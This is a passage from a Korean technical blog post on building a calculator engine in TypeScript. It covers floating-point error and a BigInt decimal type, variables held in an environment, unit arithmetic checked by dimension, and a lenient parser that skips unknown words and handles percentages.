컴퓨터는 실수를 IEEE 754라는 표준에 따라 64비트에 저장한다.⁸ 부호 1비트, 지수 11비트, 가수 52비트로 나뉘는데, 여기서 가수(mantissa)란 수의 유효숫자 부분을 담는 자리다. 즉 이진 소수의 유효숫자를 앞에서부터 52자리까지만 담고 나머지는 반올림하는 구조다. 그래서 JavaScript에 0.1을 쓰는 순간, 실제로 저장되는 값은 0.1이 아니라 0.1에 가장 가까운 표현 가능한 수다. 그 값을 소수점 20자리까지 찍어보면 이렇다.

0.1        → 0.10000000000000000555
0.2        → 0.20000000000000001110
0.1 + 0.2  → 0.30000000000000004441
0.3        → 0.29999999999999998890

0.1과 0.2 각각에 이미 미세한 오차가 있고, 더하는 과정에서 오차가 합쳐져 0.3의 저장값보다 커져버렸다. 그래서 0.1 + 0.2 === 0.3은 false다. 아래 데모에서 아무 소수나 넣어 실제로 어떤 비트로 저장되는지, 진짜 값이 얼마인지 확인해보자.

일반 프로그램에서는 이 오차를 대충 넘어갈 수 있다. 하지만 계산기는 계산이 상품이다. 특히 사람들이 계산기로 가장 많이 하는 일이 돈 계산인데, 돈은 십진수로 움직이는 세계라 이 문제와 정면으로 부딪힌다. 부가세 10%를 곱하고, 3으로 나눠 더치페이를 하는 모든 순간이 지뢰밭이다.

해결의 방향은 명확하다. 십진수의 세계에서 온 수는 십진수인 채로 저장하면 된다.

정공법은 십진 부동소수점(decimal)이다. 수를 "정수 계수 × 10의 지수"로 표현한다. 0.1은 1 × 10⁻¹, 12.34는 1234 × 10⁻²다. 계수를 임의 크기 정수(BigInt)로 들고 있으면 십진 소수를 오차 없이 담을 수 있다. 구현도 생각보다 짧다. 문자열에서 만들 때는 소수점을 뺀 숫자를 통째로 정수로 읽고 소수점 아래 자릿수를 지수로 삼는다. 덧셈은 지수를 맞춘 뒤 계수를 더하고, 곱셈은 계수끼리 곱하고 지수를 더한다.

interface Decimal {
  coef: bigint; // 정수 계수
  exp: number; // 10의 지수
}

function decimalFromString(s: string): Decimal {
  const dot = s.indexOf(".");
  if (dot === -1) return { coef: BigInt(s), exp: 0 };
  const digits = s.replace(".", "");
  const fractionLength = s.length - dot - 1;
  return { coef: BigInt(digits), exp: -fractionLength };
}

// 지수를 맞춘 뒤 계수끼리 더한다. 자릿수를 맞춰 세로셈을 하는 것과 같다.
function decimalAdd(a: Decimal, b: Decimal): Decimal {
  const exp = Math.min(a.exp, b.exp);
  const coefA = a.coef * 10n ** BigInt(a.exp - exp);
  const coefB = b.coef * 10n ** BigInt(b.exp - exp);
  return { coef: coefA + coefB, exp };
}

// 계수는 곱하고 지수는 더한다
function decimalMul(a: Decimal, b: Decimal): Decimal {
  return { coef: a.coef * b.coef, exp: a.exp + b.exp };
}

출력이 조금 성가신데, 지수가 음수면 계수 문자열 앞에 0을 채운 뒤 알맞은 위치에 소수점을 찍어야 한다.

function decimalToString(d: Decimal): string {
  if (d.exp >= 0) return (d.coef * 10n ** BigInt(d.exp)).toString();
  const s = d.coef.toString().padStart(-d.exp + 1, "0");
  const intPart = s.slice(0, s.length + d.exp);
  const fracPart = s.slice(s.length + d.exp).replace(/0+$/, "");
  return fracPart ? `${intPart}.${fracPart}` : intPart;
}

이제 실행해보면 이번에는 배신이 없다.

0.1 + 0.2        => 0.3
0.1 + 0.7        => 0.8
12.34 + 0.66     => 13
19900 * 0.9 * 3  => 53730   (19,900원짜리 10% 할인 상품 3개)

우리 계산기에 연결하는 것도 어렵지 않다. 파서의 primary가 parseFloat를 부르던 자리를 decimalFromString으로 바꾸고, num 노드가 number 대신 Decimal을 담도록 타입을 고친 뒤, 평가기의 +와 *를 decimalAdd와 decimalMul로 바꾸면 된다. 문법 규칙과 파싱 구조는 손댈 것이 없다. 숫자의 표현은 값의 관심사일 뿐, 문법과는 무관하기 때문이다.

수를 분자와 분모의 쌍으로 들고 다니는 유리수(분수) 방식도 있다. 이쪽은 1/3조차 오차가 없어서 (1/3) * 3이 정확히 1이 되는 세계다. mathjs는 설정으로 이 모드(Fraction)를 켤 수 있다. 그런가 하면 애초에 소수를 만들지 않는 길도 있다. 금액을 원 단위 정수로, 달러라면 센트 단위 정수로 저장하는 것은 결제 시스템의 오랜 관행인데, 엔진의 기법이라기보다 설계 관행이지만 문제를 표현 계층에서 원천 봉쇄한다는 점에서 같은 계열의 답이다.

다만 어느 쪽도 만능은 아니다. decimal은 1 / 3을 만나면 어딘가에서 자리를 끊어야 하고(그래서 실전 구현은 정밀도 설정을 받는다), 분수는 sqrt(2) 앞에서 무너지며, 연산을 거듭할수록 분모가 폭발적으로 커지는 비용 문제도 있다. 그래서 실전 엔진들은 여러 표현을 함께 쓴다. mathjs는 기본 number 외에 BigNumber(십진)와 Fraction(분수)을 선택할 수 있게 했고, Soulver 같은 계산 노트 앱들도 0.1 + 0.2를 정확히 0.3으로 보여준다. 이진 부동소수점의 오차를 그대로 노출해서는 계산기 행세를 할 수 없기 때문이다. 어떤 수 표현을 기본값으로 삼을지는 계산기 엔진 설계에서 가장 중요한 결정 중 하나다.

여담으로, 정수라고 안심할 수는 없다. IEEE 754의 가수는 52비트라서 2⁵³(약 9,007조)을 넘는 정수부터는 듬성듬성 표현된다. JavaScript에서 9007199254740992 + 1을 계산하면 그대로 9007199254740992가 나온다. 국가 예산 규모의 계산이나 암호학 수준의 큰 수를 다룬다면 이 벽에도 부딪히게 된다.

변수와 함수: 계산기에 기억을 달다

지금까지의 계산기는 수식 하나를 받아 값 하나를 돌려주고 모든 것을 잊는다. 그런데 도입부에서 보여준 Soulver의 매력은 여러 줄에 걸친 계산이었다. 위 줄의 결과에 이름을 붙이고 아래 줄에서 가져다 쓰는 것. 엑셀로 치면 셀 참조이고, 프로그래밍 언어로 치면 변수다.

변수를 담을 자료구조부터 만들자. 이름에서 값으로 가는 사전 하나면 된다. 언어 구현에서는 이것을 환경(environment)이라고 부른다.

interface Environment {
  variables: Map<string, number>;
  functions: Map<string, (...args: number[]) => number>;
}

function createEnvironment(): Environment {
  return {
    variables: new Map([
      ["pi", Math.PI],
      ["e", Math.E],
    ]),
    functions: new Map([
      ["sqrt", Math.sqrt],
      ["round", Math.round],
      ["min", Math.min],
      ["max", Math.max],
      // ...
    ]),
  };
}

파서는 이미 ident 노드와 call 노드를 만들 줄 안다. 평가기에서 미뤄뒀던 두 케이스를 채우면 된다.

case 'ident': {
  const value = env.variables.get(node.name);
  if (value === undefined) throw new Error(`모르는 이름: ${node.name}`);
  return value;
}

case 'call': {
  const fn = env.functions.get(node.name);
  if (!fn) throw new Error(`모르는 함수: ${node.name}`);
  const args = node.args.map((arg) => evaluate(arg, env));
  return fn(...args);
}

call 케이스가 하는 일을 뜯어보면, 인자들을 먼저 재귀적으로 평가한 다음 함수에 넘긴다. max(1, 2 + 3)에서 2 + 3이 먼저 5가 되고 나서 max(1, 5)가 불리는 것이다. 함수 호출의 인자를 먼저 평가하고 값을 넘기는 이 방식에는 값에 의한 호출(call by value)이라는 프로그래밍 언어론의 이름까지 붙어 있다.

이제 여러 줄 처리다. 입력을 줄 단위로 나누고, 줄마다 "이름 = 수식" 꼴인지 확인해서 할당이면 환경에 저장한다. 토크나이저의 연산자 목록에 =를 추가하고, 줄 처리 루프를 다음과 같이 만든다.

function runNotepad(source: string): LineResult[] {
  const env = createEnvironment();
  const results: LineResult[] = [];

  for (const line of source.split("\n")) {
    if (line.trim() === "") continue;

    try {
      const tokens = tokenize(line);

      // "이름 = 수식" 꼴이면 할당문이다
      let target: string | null = null;
      let exprTokens = tokens;
      if (
        tokens[0].type === "ident" &&
        tokens[1]?.type === "op" &&
        tokens[1].value === "="
      ) {
        target = tokens[0].value;
        exprTokens = tokens.slice(2);
      }

      const ast = new PrattParser(exprTokens).parse();
      const value = evaluate(ast, env);

      if (target) env.variables.set(target, value);
      env.variables.set("ans", value); // 직전 결과
      results.push({ input: line, value });
    } catch (e) {
      results.push({ input: line, error: (e as Error).message });
    }
  }

  return results;
}

환경이 반복문 바깥에 있다는 점이 전부다. 줄이 바뀌어도 환경은 살아남으므로 앞 줄의 변수를 뒷 줄에서 쓸 수 있다. 덤으로 매 줄의 결과를 ans라는 이름으로 넣어두면 공학용 계산기의 ANS 버튼이 된다. 실행해보자.

예산 = 500000        => 500000
숙소 = 180000 * 2    => 360000
식비 = 45000 * 3     => 135000
예산 - 숙소 - 식비    => 5000
ans / 4              => 1250

토큰화 장에서 isLetter에 한글을 허용해둔 것이 여기서 회수된다. 한글 변수명이 아무 추가 작업 없이 동작해서, 여행 예산을 짜는 메모장이 몇 줄 만에 생겼다.

눈여겨볼 지점은 에러 처리다. 3번째 줄에서 에러가 나도 4번째 줄은 계속 계산된다. 줄 하나의 실패가 문서 전체의 실패가 아니라는 것. 사소해 보이지만 이것이 계산기 엔진과 프로그래밍 언어 처리기의 태도 차이다. 컴파일러는 틀린 코드를 거부하는 물건이지만, 계산 노트는 사용자가 타이핑하는 중간의 불완전한 상태를 계속 받아줘야 한다. 이 태도는 마지막 장에서 한 번 더 중요해진다.

여기서 조금만 더 가면 진짜 언어다. 사용자가 함수를 직접 정의하게 하면(f(x) = x * 2) 매개변수라는 개념이 생기고, 함수 안의 x와 바깥의 x를 구분하기 위해 환경을 겹겹이 쌓게 되는데(스코프), 그 순간 우리는 계산기가 아니라 인터프리터 교과서의 한복판에 서 있게 된다. 이 글에서는 문 앞까지만 가고 멈춘다.

3km + 200m: 단위는 값의 타입이다

이제 이 글에서 가장 재미있는 확장이다. Soulver를 계산기가 아니라 "계산 노트"로 만들어주는 기능, 단위 계산이다. 3km + 200m는 3.2km가 되고, 90km / 2h는 시속이 나오고, 3km + 2kg는 에러가 나야 한다.

어떻게 접근할까? 핵심 통찰은 단위 있는 값이 숫자 하나가 아니라 숫자와 단위의 쌍이라는 것이다. 그리고 단위의 정체는 두 가지 정보로 분해된다. 이 단위가 어떤 종류의 양인지(길이인지 시간인지 질량인지), 그리고 기준 단위의 몇 배인지. km는 "길이이고, 기준 단위 m의 1000배"다.

"어떤 종류의 양인지"를 차원(dimension)이라고 부른다. 물리학에서 빌려온 개념인데, 요점은 차원이 곱셈과 나눗셈을 따라 움직인다는 것이다. 거리(길이)를 시간으로 나누면 속도가 되는데, 속도의 차원은 길이¹ × 시간⁻¹이다. 지수가 산수처럼 더해지고 빠지는 것이다. 그래서 차원은 기본 차원들의 지수 벡터로 표현할 수 있다.

interface Dimension {
  length: number; // 길이의 지수
  time: number; // 시간의 지수
  mass: number; // 질량의 지수
}

interface Quantity {
  value: number; // 기준 단위(m, s, kg)로 정규화한 값
  dim: Dimension;
}

// 단위 표: 기준 단위에 대한 배율과 차원
const UNITS: Record<string, { factor: number; dim: Dimension }> = {
  m: { factor: 1, dim: { length: 1, time: 0, mass: 0 } },
  km: { factor: 1000, dim: { length: 1, time: 0, mass: 0 } },
  h: { factor: 3600, dim: { length: 0, time: 1, mass: 0 } },
  kg: { factor: 1, dim: { length: 0, time: 0, mass: 1 } },
  // ...
};

3km라는 입력은 값 3000, 차원 길이¹인 Quantity가 된다. 들어오는 순간 기준 단위로 정규화해버리는 것이 요령이다. km와 m를 섞어 쓰더라도 내부에서는 전부 m이므로 덧셈에서 고민할 것이 없다. 표시할 때만 사용자가 원한 단위로 되돌린다.

이제 연산 규칙을 정하면 되는데, 규칙이 아름다울 만큼 단순하다.

// 덧셈: 차원이 같아야만 허용된다
function qAdd(a: Quantity, b: Quantity): Quantity {
  if (!sameDim(a.dim, b.dim)) {
    throw new Error(
      `${dimToString(a.dim)}와 ${dimToString(b.dim)}는 더할 수 없다`,
    );
  }
  return { value: a.value + b.value, dim: a.dim };
}

// 곱셈: 차원의 지수를 더한다. km × km = km²가 되는 이유다.
function qMul(a: Quantity, b: Quantity): Quantity {
  return {
    value: a.value * b.value,
    dim: {
      length: a.dim.length + b.dim.length,
      time: a.dim.time + b.dim.time,
      mass: a.dim.mass + b.dim.mass,
    },
  };
}

덧셈은 차원이 같을 때만, 곱셈은 언제나 되지만 차원 지수를 더한다. 나눗셈은 지수를 뺀다. 이 규칙만으로 물리 시간에 배운 차원 분석 전체가 굴러간다. 실행 결과를 보자.

3km + 200m           => 3.2 km
3km + 2kg            => Error: 길이^1와 질량^1는 더할 수 없다
90km / 2h            => 12.5 m/s (차원: 길이^1·시간^-1)
12.5m/s * 30min      => 22.5 km

속도를 만들어달라고 한 적이 없는데 나눗셈에서 속도가 저절로 나타났다는 점에 주목하자. UNITS 표에는 속도라는 단위가 없다. 그저 지수 벡터의 산수가 "길이 나누기 시간"이라는 새로운 차원을 만들어냈고, 그 차원에 시간을 곱하자 다시 길이로 돌아왔을 뿐이다.

그런데 한 걸음 물러나서 보면, 우리가 방금 만든 것의 정체는 타입 시스템이다. "길이와 질량은 더할 수 없다"는 규칙은 "문자열과 숫자는 더할 수 없다"는 타입 검사와 완전히 같은 구조다. 차원은 값의 타입이고, qAdd의 차원 검사는 타입 체커이며, 에러 메시지는 컴파일 에러다. 다른 점은 검사가 실행 중에 일어난다는 것 정도인데, 이는 동적 타입 언어의 방식 그대로다. 계산기를 만들다가 타입 시스템까지 하나 만들게 됐다.

단위 검사가 목숨을 다루는 문제라는 것을 보여준 유명한 사건도 있다.⁹ 통화도 같은 틀에 들어온다. KRW와 USD를 차원이 다른 단위로 정의하면 원화와 달러를 실수로 더하는 사고를 엔진 수준에서 막을 수 있고, 환율은 시시각각 변하는 단위 배율일 뿐이다. Soulver가 환율 계산을 지원하는 방식이 정확히 이것이다.

파서 쪽 확장도 필요하다. 토크나이저에서 숫자 바로 뒤에 붙은 이름(3km)을 단위로 읽거나, 파서에서 숫자 뒤에 오는 ident를 단위 접미사로 처리하면 된다. 후자라면 3 km처럼 공백이 있어도 자연스럽게 처리된다는 장점이 있는데, 대신 2pi 같은 암시적 곱셈과는 양립하기 어려워진다. 숫자 뒤의 이름이 접미사인지 곱해질 값인지 문법만으로는 구분할 수 없기 때문이다. 계산 노트 앱들이 대체로 단위를 택하고 암시적 곱셈을 포기하는 이유다. in이라는 키워드(3km + 200m in m)는 우선순위가 가장 낮은 이항 연산자로 추가하면 자연스럽다.

남은 관문은 표시다. 내부에서 3200(m)이 된 값을 "3.2km"로 돌려주는 데도 결정이 필요하다. in으로 단위를 지정받았다면 그대로 따르면 되지만, 지정이 없으면 엔진이 골라야 한다. 크기에 맞춰 고르거나(1,000m를 넘으면 km), 사용자가 마지막에 쓴 단위를 따라가는 것이 흔한 규칙이다. 소수 자릿수도 같은 종류의 문제다. 앞 장의 decimal로 1 / 3을 계산하면 어딘가에서 잘라야 하는데, 실전 엔진들은 내부 정밀도(이를테면 30자리)와 표시 자릿수(이를테면 10자리)를 따로 설정받는다.

사람의 말로: 관대한 계산기

마지막 확장이다. 도입부의 그 입력, "커피 4,500원 × 3 + 버스 1,500원"으로 돌아가자. 지금까지 만든 계산기에 이것을 넣으면 무슨 일이 일어날까? 토크나이저는 "커피"를 ident로 읽고, 평가기는 "모르는 이름: 커피"라며 에러를 낸다. 문법적으로 올바른 판단이다. 하지만 사용자가 원한 것은 에러가 아니라 15,000이다.

Soulver류 앱의 진짜 발명품은 파서가 아니라 태도다. 모르는 것을 만나면 에러를 내는 대신 무시한다. 사람이 메모하듯 쓴 문장에서 계산 가능한 부분만 건져 올리는 것이다. 프로그래밍 언어의 상식과 정반대라서 오히려 신선한 이 원칙을, 우리 토크나이저에 이식해보자. 바꿀 곳은 두 군데다.

if (isLetter(ch)) {
  const start = i;
  while (i < input.length && isLetter(input[i])) i++;
  const word = input.slice(start, i);
  // 아는 단어만 토큰이 된다. 나머지는 없는 셈 친다.
  if (word === "of") tokens.push({ type: "of", value: word, pos: start });
  continue;
}

// ...

// 모르는 문자도 에러 대신 무시를 택한다
i++;

단어를 읽되, 아는 단어("of" 같은 키워드나 단위)가 아니면 토큰을 만들지 않고 버린다. 마지막 줄의 throw도 무시로 바꾼다. 이것으로 "커피"와 "버스"와 "원"은 주석이 된다. 숫자에 콤마를 허용하는 것도 숫자 스캔 루프에서 "콤마 뒤에 숫자가 이어지면 계속"이라는 조건 하나로 해결된다.

퍼센트는 사정이 조금 더 복잡하다. 20% of 80은 16이어야 한다. 토크나이저의 연산자 목록에 %를 추가하고, AST에도 노드를 한 종류 더한다.

| { type: 'percent'; operand: Node }   // 20%

%는 우리가 처음 만나는 후위 연산자(피연산자 뒤에 붙는 연산자)인데, Pratt 루프에서 의외로 쉽게 처리된다. 루프가 %를 만나면 오른쪽을 파싱하러 재귀하는 대신, 지금까지 만든 left를 그 자리에서 감싸고 루프를 계속하면 된다.

// parseExpression의 while 루프 안
if (token.type === "op" && token.value === "%" && PERCENT_BP >= minBp) {
  this.next();
  left = { type: "percent", operand: left };
  continue;
}

결합력 PERCENT_BP는 40으로, 어떤 이항 연산자보다 세게 붙는다. 20% of 80에서 %가 of보다 먼저 20을 차지해야 하기 때문이다. 평가는 일단 "값을 100으로 나눈다"로 하고 of를 곱셈과 같은 결합력의 이항 연산자로 두면, 그것만으로 0.2 × 80 = 16이 나온다. 여기까지는 순수한 문법 확장이다.

그런데 80 + 10%는 어떨까? 방금 규칙대로라면 80 + 0.1 = 80.1이다. 하지만 이 수식을 치는 사람은 십중팔구 "80에 10% 얹어서" 88을 기대한다. 실제로 엑셀에 =80+10%를 넣으면 80.1이 나오고, 아이폰 계산기에서 80 + 10 % =를 누르면 88이 나온다. 두 제품이 서로 다른 답을 내는 것이다. 수학적으로는 엑셀이 옳고, 사용자 기대로는 계산기가 옳다. 우리는 계산기를 만들고 있으므로 후자를 택한다. 평가기에서 덧셈·뺄셈의 오른쪽이 퍼센트 노드일 때만 "왼쪽 값에 대한 비율"로 해석을 바꾼다.

case 'binary': {
  const left = evaluateNatural(node.left);
  // "80 + 10%"의 %는 왼쪽 값에 대한 비율로 해석한다
  if ((node.op === '+' || node.op === '-') && node.right.type === 'percent') {
    const rate = evaluateNatural(node.right); // 0.1
    return node.op === '+' ? left * (1 + rate) : left * (1 - rate);
  }
  // ... 나머지는 그대로
}

문법이 아니라 의미의 문제이므로 평가기가 처리하는 것이 자연스럽다. AST가 있기에 가능한 처리라는 점도 눈여겨보자. "덧셈의 오른쪽 자식이 퍼센트 노드인가"라는 질문은 트리에게는 한 줄이지만, 문자열을 앞에서부터 계산하는 방식이었다면 답하기 어려운 질문이다. 실행 결과다.

커피 4,500 * 3 + 버스 1,500   => 15000
점심 8,000원 + 커피 4,500원    => 12500
20% of 80                     => 16
80 + 10%                      => 88
80 - 10%                      => 72
할인 30% of 199,000           => 59700

지금까지 만든 모든 것을 합친 계산 노트를 아래에 준비했다. 자유롭게 적어보자. 모르는 단어는 무시되고, 변수와 퍼센트와 단위가 동작한다.

물론 관대함에는 대가가 있다. 에러를 삼킨다는 것은 사용자의 실수도 삼킨다는 뜻이다. 40000원 나누기 3이라고 쓰면 "나누기"가 조용히 무시되고 40000과 3이 남는데, 이것을 어떻게 처리하든 사용자 의도와는 다르다. 에러를 내면 계산 노트의 매력이 죽고, 무시하면 틀린 답을 자신 있게 보여준다. Soulver 같은 제품들은 해석된 부분에 색을 입혀 "엔진이 무엇을 이해했는지"를 드러내는 방식으로 이 긴장을 다룬다. 우리 데모에도 같은 장치를 넣어뒀다. 관대하게 삼키기만 하고 무엇을 이해했는지 보여주지 않으면, 사용자는 자신 있게 표시된 틀린 답을 의심할 방법이 없기 때문이다.

덧붙이면, 이 "에러 앞에서 멈추지 않는 파서"라는 주제는 계산 노트만의 것이 아니다. IDE에서 코드를 치는 중간에도 자동완성이 동작하는 것은, 타이핑 중인 그 문법적으로 깨진 코드를 컴파일러 프론트엔드가 에러 복구(error recovery)를 해가며 끝까지 파싱하고 있기 때문이다. 최신 언어 도구의 파서는 "올바른 입력을 처리하는 코드"보다 "깨진 입력에서 살아남는 코드"에 더 많은 공을 들인다. 계산 노트의 관대함은 이 에러 복구와 같은 원리에서 나온 것이다.

마치며

계산기라는 만만한 목표에서 출발했는데 닿은 곳은 컴파일러 교과서의 앞쪽 절반이다. 어휘 분석과 최장 일치, 문맥 자유 문법과 BNF, 재귀 하강과 Pratt 파싱, 트리 워킹 인터프리터, IEEE 754와 십진 소수, 환경과 스코프, 그리고 차원 검사라는 이름의 타입 시스템. 전부 계산기를 핑계로 만난 개념들이다.

이 구조가 계산기에만 쓰이는 것이 아니라는 점을 다시 강조하고 싶다. 실무에서 "사용자가 뭔가를 입력하면 시스템이 해석해야 하는" 기능을 만나면 그것은 거의 언제나 토큰화-파싱-평가의 축소판이다. 검색창의 고급 검색 문법이 좋은 예다. author:kim -draft는 콜론이 이항 연산자, -가 전위 연산자, 공백이 AND인 작은 언어라서, 이 글의 Pratt 파서에서 우선순위 표와 토큰 종류만 바꾸면 그대로 파싱할 수 있다. 스프레드시트 수식, 피처 플래그의 조건식, 알림 규칙 빌더, 템플릿 엔진도 같은 구조 위에 서 있다. 정규식과 split으로 어설프게 버티다 엣지 케이스에 시달린 경험이 있다면, 다음에는 이 글의 구조를 꺼내보자.

더 가보고 싶다면 좋은 길잡이들이 있다. Robert Nystrom의 Crafting Interpreters는 이 글의 구조를 완전한 프로그래밍 언어까지 확장하는 최고의 교과서이고(온라인 무료 공개다), mathjs의 파서 소스는 프로덕션급 재귀 하강 파서가 어떻게 생겼는지 보여주는 살아 있는 예제다. 직접 만든 계산기에 삼각함수 단위(도와 라디안)를 추가해보거나, 날짜 계산("오늘 + 2주")을 붙여보는 것도 훌륭한 다음 걸음이 될 것이다. 날짜는 단위와 자연어가 뒤엉켜 있어서, 이 글에서 다룬 주제가 전부 다시 등장하는 좋은 연습 문제다.

바퀴를 다시 발명하는 일은 여전히 낭비처럼 보일 수 있다. 하지만 eval 한 줄로 때울 뻔했던 문제 뒤에 반세기의 컴퓨터 과학이 서 있다는 것을 아는 개발자와 모르는 개발자는, 다음 번에 "사용자 입력을 해석해주세요"라는 요청을 받았을 때 전혀 다른 설계를 하게 된다. 그 차이를 만드는 것이 이 시리즈가 바퀴를 계속 다시 발명하는 이유다.